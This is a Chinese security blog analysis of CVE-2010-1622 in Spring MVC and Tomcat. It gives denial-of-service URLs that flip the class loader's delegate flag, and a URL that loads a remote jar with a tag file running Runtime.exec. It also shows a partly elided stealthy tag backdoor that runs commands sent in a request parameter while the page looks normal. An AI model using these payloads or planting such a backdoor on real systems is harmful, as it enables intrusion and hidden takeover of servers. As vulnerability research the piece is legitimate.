By 空虚浪子心 http://inbreak.net/ @javasecurity http://t.qq.com/javasecurity
摘要
这个漏洞在2010年出的，当时由于环境问题，并没有找到稳定利用的EXP。作者对spring mvc框架不熟悉，很多地方不了解，结果研究了一半，证明了漏洞的部分严重性就放下了，没有弄出POC来。最近同事也想研究下，勾起了研究兴趣，结果运气爆发，解决了当年没有搞定的N多问题和错误，这才终于让服务器上的CALC跑起来。
当然，本文不会提供POC，只是对官方的POC分析一下，以及告诉大家怎么写自己想要的EXP，本文不会提供黑客工具，只讨论技术。
正文
这个漏洞其实有两种玩法，一种是拒绝服务，一种是远程代码执行，其中还隐藏着一些其他技术内幕。我们先从拒绝服务讲起，漏洞发布者并没有提到这里可能出现拒绝服务攻击，这是本文作者无意中发现的。这个发现可以绕过tomcat的某段挫代码，下文中会“弱弱的”提到这个挫代码事情。
漏洞发布者的blog文：http://blog.o0o.nu/2010/06/cve-2010-1622.html
这篇文档其实对漏洞的介绍，已经非常明确了，基本上翻译过来就可以明了事情的经过，这里按照自己的语言，讲讲重要的东西。
这是spring的漏洞，而这个漏洞的最佳体现，是spring mvc框架。经典的应用，经典的代码，最终却会造成漏洞，这是框架漏洞的经典体现。开发人员如果使用了spring mvc框架，必然会这样写代码，官方也推荐表单绑定对象这种做法，这种做法，却由于框架的环境，导致了漏洞。
漏洞原理
Spring mvc可以让开发者定义一个java bean对象，实现getter和setter方法，之后绑定到表单中，以方便开发人员使用。
这段代码，是一个java bean对象，叫做User.
public class User { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } } |
可以把它绑定到一个Controller
@Controller public class TestController { @RequestMapping("/test.htm") public String execute(User user){ System.out.println(user.getName()); return "success"; } } |
用户就可以直接提交
http://inbreak.net/test.htm?name=kxlzx |
于是TestController就会自动把name=kxlzx变成对象user.name的值。
这一切自动的过程，得益于spring mvc提供的字段映射功能，这个功能会自动发现user对象中的public方法和字段，如果user中出现public的一个字段，就自动绑定，并且允许用户提交请求给他赋值。
比如user类中出现
Public String name; |
用户提交name=kxlzx，就可以给它赋值。
如果出现public的setter方法，也会允许赋值。
比如user类中出现
public void setName(String name) { this.name = name; } |
即可允许用户提交name=kxlzx赋值。
但是如果是
Private String name; |
并且没有setter方法，就会不允许赋值。这也是出于安全考虑，不能把user中所有的属性都暴露出去。
现在问题来了，在java的世界里，所有的对象，都默认继承了Object基础类，这个类竟然有个方法叫做
Public Class getClass() |
意味着所有的对象，包括user在内，用户默认都可以使用
http://inbreak.net/test.htm?class=xxx |
去给它赋值。当然，class的类型并不是基础类型（string,int,long,double等等），所以用户即使提交了赋值其实没有任何含义。
好在我们可以继续访问下去，Object的getClass方法，返回class对象，class对象中有个方法叫做getClassLoader，这个方法返回ClassLoader对象，用户可以这样访问。
http://inbreak.net/test.htm?class.classLoader=xxx |
危险的东西出现了，此对象，代表着程序运行环境的classLoader。随着web容器的不同，大家对这个东西的实现方式不一样。在tomcat上，也就是spring mvc拿到tomcat上运行时，它会变成
org.apache.catalina.loader.WebappClassLoader |
可以从tomcat的api文档中，查到这个类的一些字段。
http://tomcat.apache.org/tomcat-6.0-doc/api/org/apache/catalina/loader/WebappClassLoader.html |
一旦这个类中，出现了可以set的字段，用户就可以提交url请求，改变其中的值。classLoader是一个可以影响所有class加载的重要东西，一旦其中一些字段发生改变，应用程序中就可能会发生各种诡异的事情，造成应用不正常，甚至所有页面都访问出错。你知道我在说什么，是的，拒绝服务。
Spring mvc 拒绝服务漏洞
翻阅api文档，可以看到有很多字段，都实现了setter方法，这些字段名称比较诡异，大多都是“对我们”没什么作用的字段，影响不大。唯有一个危险字段，叫做delegate，这个字段可以直接修改掉。
public void setDelegate(boolean delegate) { this.delegate = delegate; } |
这个字段，是tomcat决定class加载顺序用的，或许在这文章中，和大家扯一段类加载的东西不太容易理解，所以不提原理，我们看篇文章，请大家直接google，作者就不点名了。
java.lang.ClassCastException: org.apache.catalina.util.DefaultAnnotationProcessor 解决 |
文章中会讲到两个信息：
1、他们遇到了严重错误，导致所有页面打不开，爆这个错误。
2、网友们建议的解决方式，是设置tomcat如下：
在tomcat conf 下目录中 context.xml中增加 如下节点即可。 <Loader delegate="true" /> |
也就是说，这个值，必须设置为true，否则他的应用就会挂掉。
下面做个小测试，在我们项目中加入一个tomcat的lib下的jar包，叫做“catalina.jar”，放入/WEB-INF/lib/下面，启动tomcat，于是所有的页面，都打不开了。按照解决方式，设置tomcat后，变为正常。
但是出了spring mvc的远程代码执行漏洞后，这个设置会变得非常脆弱，只要攻击者提交
http://inbreak.net/springmvc/testjsp.htm?class.classLoader.delegate=false |
就会有很多页面，都出现下图这个诡异的问题。这是因为第一次编译jsp页面时，由于类加载顺序错误，而产生的错误。
打开URL后，凡是tomcat启动后，曾经被访问过一次以上的页面，都是正常的，只有那些从来没有访问过的页面，第一次访问时，就会出现这个错误。
真是怪异的答案，这是另类的拒绝服务攻击，有些页面正常，有些页面不正常，只要控制好攻击时间，这个攻击时间，和启动服务器的时间越近，威力越大。其实威力大不大无所谓，因为没有任何一个网站，所有的页面，会在1天内被人访问个遍，所以作为系统管理员，看到这个错误，已经非常头疼了。
struts2 dos漏洞
是的，它也受影响。远程代码执行漏洞，是spring出的，很多项目都用到了spring的核心，spring mvc只是这个漏洞的最佳体现而已。Struts2其实也本该是个导致远程代码执行漏洞才对，只是因为它的字段映射问题，只映射基础类型，默认不负责映射其他类型，所以当攻击者直接提交URLs[0]=xxx时，直接爆字段类型转换错误，结果才侥幸逃过一劫罢了。
逃得了初一，却逃不过十五，在攻击者提交
http://inbreak.net/struts2/testjsp.htm?class.classLoader.delegate=false |
给struts2时，struts2看到的是个boolean类型，属于基础类型，所以这个值就被修改掉了。当web容器是tomcat时，它一样受到影响，现象和spring mvc一致。这里就不抓图了。顺便说上一句，struts2提供自定义类型转换功能，欢迎大家把URL类，做自定义类型转换处理，有了这个处理，效果就和spring mvc中的远程代码执行一致了。作者还不至于找个struts2应用，故意配置一个自定义类型转换后，假装自己发现了个远程代码执行漏洞。只是想来这种业务场景极少，比较适合对公司不满的开发人员留后门用，谁又能想到开发一个这样没有意义的功能，居然有天会引发远程代码执行呢？
Spring mvc数组只读权限绕过漏洞
非常有趣的特性，前文提到，只有在一个字段为public，或者字段的setter方法为public时，才会允许用户提交参数，修改这个字段的值。所以这里是个权限绕过漏洞，当一个数组对象的代码如下：
private String names[]; public User(){ names = new String[]{"1"}; } public String[] getNames() { return names; } |
看到了，names这个数组，只是在构造方法中初始化了一下，并没有public个setter方法出来，甚至setter方法都没有实现。理论上，应该是个只读的字段，但是只要用户提交
http://inbreak.net/springmvc/testjsp.htm?names[0]=xxxxx |
它的值，居然被修改了！
这个漏洞，是远程代码执行漏洞的基础，如果这样的值不能被修改，也就不可能出现URLs被修改后，导致的远程代码执行漏洞了。现在大家知道了这样的代码会出问题，再看看tomcat的WebappLoader类，继承URLClassLoader类，URLClassLoader的一个方法叫做getURLs，返回一个数组。只要一个getter返回的是一个数组，就会绕过安全限制。下面我们继续看看远程代码执行是怎么产生的。
Spring mvc远程代码执行漏洞
这里才是主料的开始，现在再来看看怎么才能远程代码执行，每次想到这里，都会想到这个老外太有才了。
getURLs方法，其实用的地方真的不多，只有在TldLocationsCache类，对页面的tld标签库处理时，才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录，去获取tld文件，允许从网络中获取tld文件。当一个tld放在jar中时，可以通过
jar:http://inbreak.net/kxlzx.jar!/ |
这个URL，会下载到tomcat服务器一个jar文件，然后从jar文件中，寻找tld文件，并且根据tld文件，做spring mvc标签库的进一步解析。
Tld文件自己有个标准（详见jsp标签库），在解析的时候，是允许直接使用jsp语法的，所以这就出现了远程代码执行的最终效果。
这是spring-form.tld原本的部分内容示例
Form标签里面有个input的标签，会根据开发人员的定义，给这些参数默认赋值，前面说到它是支持jsp语法的，所以拿spring原本的/META-INF/spring-form.tld文件，替换其中内容，可以把这个tld的原本input tag的内容替换为：
<!-- <form:input/> tag --> <tag-file> <name>input</name> <path>/META-INF/tags/InputTag.tag</path> </tag-file> |
这样指定让一个tag文件解析。
还缺一个/META-INF/tags/InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %> <% j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); %> |
做出这样的替换后，当开发者在controller中将任何一个对象绑定表单，并且最终展示的jsp内容有下面这些：
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%> <form:form commandName="user"> <form:input path="name"/> </form:form> |
攻击者访问url:
http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://inbreak.net/spring-exploit.jar!/ |
即可触发远程代码执行的效果，漏洞发布者写的POC真的很囧。原本页面会显示一个文本框才对，现在变成了一个空白，并且后台执行命令
mkdir /tmp/PWNED
注意，是所有的页面，凡是有input的地方，都会变成空白，这个标签直接被替换掉。
Tomcat的开发人员抽风
不得不说，想触发漏洞，其实还得过tomcat这一关，这才是几次研究，都失败的罪魁祸首，真够恼火。想不通，这个漏洞关你tomcat鸟事？你有事没事出个补丁，害的我调试不出来！
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?r1=964215&r2=966292&pathrev=966292&diff_format=h
居然在tomcat6.0.28之后的版本，把
return repositoryURLs; |
改为了
return repositoryURLs.clone(); |
还美其名曰：
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.
想骂这帮家伙，good你妹idea！
这样的修改，导致了spring mvc远程代码执行漏洞触发失败，就因为spring mvc拿到的是个克隆的URLs，不是真的URLs，给了一个山寨货，修改的并非原本的URLs。作者调试了很久很久，换了N种spring mvc controller的实现，都没有搞定。嗯。。。后来虎躯一震，猜到这是有个家伙在做手脚，果断翻阅tomcat的svn diff，果然看到这个文件被一个阴险的家伙做了手脚。
也就是说，如果服务器大于tomcat6.0.28版本，远程代码执行，是不可能了，最多可以DOS一下，参见前文章节。写这一节，只是发发牢骚，大家调试时候注意一下，不要上当了。
和谐利用的EXP
很显然，漏洞发布者提供的EXP是不符合期望的，一旦用了之后，被攻击的网站立刻显示异常，傻子都知道出了问题了。所以要改到和谐为止，想来和谐的EXP，应该是符合“想让它执行，就执行，不想让执行，就显示正常“。
下载spring-form.tld，给其中的inputtag改名，name改为inputkxlzx：
<tag> <name>inputkxlzx</name> |
随便什么名字都可以。新加入一个tag，叫做input：
<tag-file> <name>input</name> <path>/WEB-INF/tags/InputTag.tag</path> </tag-file> |
InputTag.tag的内容（本文只讨论技术，为减少危害，此文件不能直接使用，只有懂得人才可以看懂）：
… if (request.getParameter("kxlzxcmd")!=null) exec(request.getParameter("kxlzxcmd")); … <form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx> |
精华就在这里，多么和谐啊，替换了原来的input tag，并且还拥有input tag的功能。页面显示的还是原来的input，不影响原本的业务逻辑，页面看不出什么来。
只有在攻击者提交kxlzxcmd时，会执行系统命令，其实这也不够和谐，最和谐的，是搞个webshell出来。
看看效果：
这个叫做name的Input仍然可以获取值(kxlzx)，正常使用不出错，只有参数中有kxlzxcmd时，才会触发。
总结
最后总结一下漏洞的局限：
1、spring mvc远程代码执行必须使用了spring标签库才可以，否则不能最终加载tld文件。
2、spring mvc 拒绝服务漏洞只是一个随机出现的福利，因为服务器上的应用程序不一定class加载顺序倒置就会出问题。
3、原公布者的POC是绝对不能用的，用了之后服务器只能等待重启了，只要你用了，就准备和管理员打招呼吧。
4、本文所提EXP并非最好的，最好的当然是写个shell什么的。
5、由于exp都是替换了input tag，所以必须当前页面中存在input tag，才能触发，当然一个正常的web应用中必然有这样的页面。
至于修补漏洞什么的大家自己查，这不是什么新漏洞，只是心血来潮的一篇分析文。技术是不能停止研究的，所以时不时得练练兵，所以才有了这篇。如果看懂了，至少写的EXP，是没问题的，也不至于老外发了这么旧的文章和公告，居然没有听到有人打成功过，而国内每次都是逐字翻译，木有任何自己的理解、研究和说明，这样不好。
链接
空虚浪子心 http://inbreak.net/ @javasecurity http://t.qq.com/javasecurity
漏洞发布者的blog文：http://blog.o0o.nu/2010/06/cve-2010-1622.html
80vul http://www.80vul.com/?q=content/spring-framework%EF%BC%88cve-2010-1622%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%8C%87%E5%8D%97
0 条评论。